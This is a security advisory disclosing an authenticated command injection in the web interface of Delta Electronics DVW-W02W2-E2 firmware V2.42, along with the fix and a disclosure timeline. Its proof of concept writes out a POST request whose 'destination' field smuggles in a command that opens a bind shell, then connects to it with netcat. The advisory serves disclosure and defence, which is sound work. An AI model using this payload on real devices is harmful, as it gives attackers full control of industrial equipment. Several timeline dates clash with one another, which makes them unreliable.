Authored by T. Weber | Site cyberdanube.com

Delta Electronics DVW-W02W2-E2 version 2.42 suffers from an authenticated command injection vulnerability.

CyberDanube Security Research 20221130-1
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title| Authenticated Command Injection
product| Delta Electronics DVW-W02W2-E2
vulnerable version| V2.42
fixed version| V2.5.2
CVE number| -
impact| High
homepage| https://www.deltaww.com
found| 2022-08-01
by| T. Weber (Office Vienna)
| CyberDanube Security Research
| Vienna | St. Pölten
|
| https://www.cyberdanube.com
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Vendor description
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"Delta, founded in 1971, is a global provider of power and thermal
management
solutions. Its mission statement, "To provide innovative, clean and energy
-efficient solutions for a better tomorrow," focuses on addressing key
environmental issues such as global climate change. As an energy-saving
solutions provider with core competencies in power electronics and
automation,
Delta's business categories include Power Electronics, Automation, and
Infrastructure."

Source: https://www.deltaww.com/en-US/about/aboutProfile


Vulnerable versions
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DVW-W02W2-E2 / V2.42


Vulnerability overview
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1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection.
It allows an attacker to gain full access to the underlying operating
system of
the device with all implications. If such a device is acting as key
device in
an industrial network, or controls various critical equipment via serial
ports,
more extensive damage in the corresponding network can be done by an
attacker.


Proof of Concept
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1) Authenticated Command Injection
The web server is prone to an authenticated command injection via POST
parameters. This is only possible if the "timestamp" parameter is set
correctly
in the URL. The following proof-of-concept shows how to open a port binding
shell on port 8889 with a "utelnetd" listener:
===============================================================================
POST /apply.cgi?/MT_ping.htm%20timestamp=$correct-timestamp$ HTTP/1.1
Host: 192.168.3.148
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: http://192.168.3.148
Connection: close
Referer: http://192.168.3.148/MT_ping.htm
Cookie: xxid=1973719449
Upgrade-Insecure-Requests: 1

submit_flag=mt_ping&hid_ver1=&hid_ser1=&hid_comm1=&hid_ver2=&hid_ser2=&hid_comm2=&destination=`utelnetd%20-p%208889%20-l%20/bin/ash%20-d`
===============================================================================

For accessing the device, the command "netcat" can be used:
===============================================================================
$ nc 192.168.3.150 8889
����!����

BusyBox v1.4.2 (2016-08-18 22:45:41 EDT) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #
===============================================================================

The vulnerability was manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
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Update to firmware version V2.5.2.

Workaround
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None


Recommendation
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CyberDanube recommends Delta Electronics customers to upgrade the
firmware to
the latest version available.


Contact Timeline
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2022-08-02: Contacting Delta Electronics.
2022-08-10: Vendor requested the advisory without encryption; Sent
advisory to
Delta Electronics.
2022-08-16: Security contact asked few questions regarding responsible
disclosure; Sent answers.
2022-08-30: Asked for an update.
2022-09-01: Vendor responded, that they will need more time to resolve the
issues; Provided additional 30 days (until 2022-11-02) for
patching.
2022-10-11: Asked for an update.
2022-10-12: Vendor responded, that fixing will be done 2022-11-15; Shifted
release date to this date.
2022-10-16: Vendor shifted release date again to 2022-11-18. Shifted
advisory
release date to the same day.
2022-10-17: Asked for an update regarding the release; No answer.
2022-10-18: Asked for an update and shifted release date to 2022-10-22.
2022-10-19: Vendor responded, that there were problems at releasing the
patch.
Contact stated, that the patch will delay until end of
November.
2022-10-21: Asked vendor for a concrete release date; No answer.
2022-10-28: Announced advisory release date for 2022-10-30 to vendor.
2022-10-29: Found firmware patches with issue date 2022-11-25 on vendors
website.
2022-10-30: Vendor confirmed fixes. Coordinated release of security
advisory.


Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022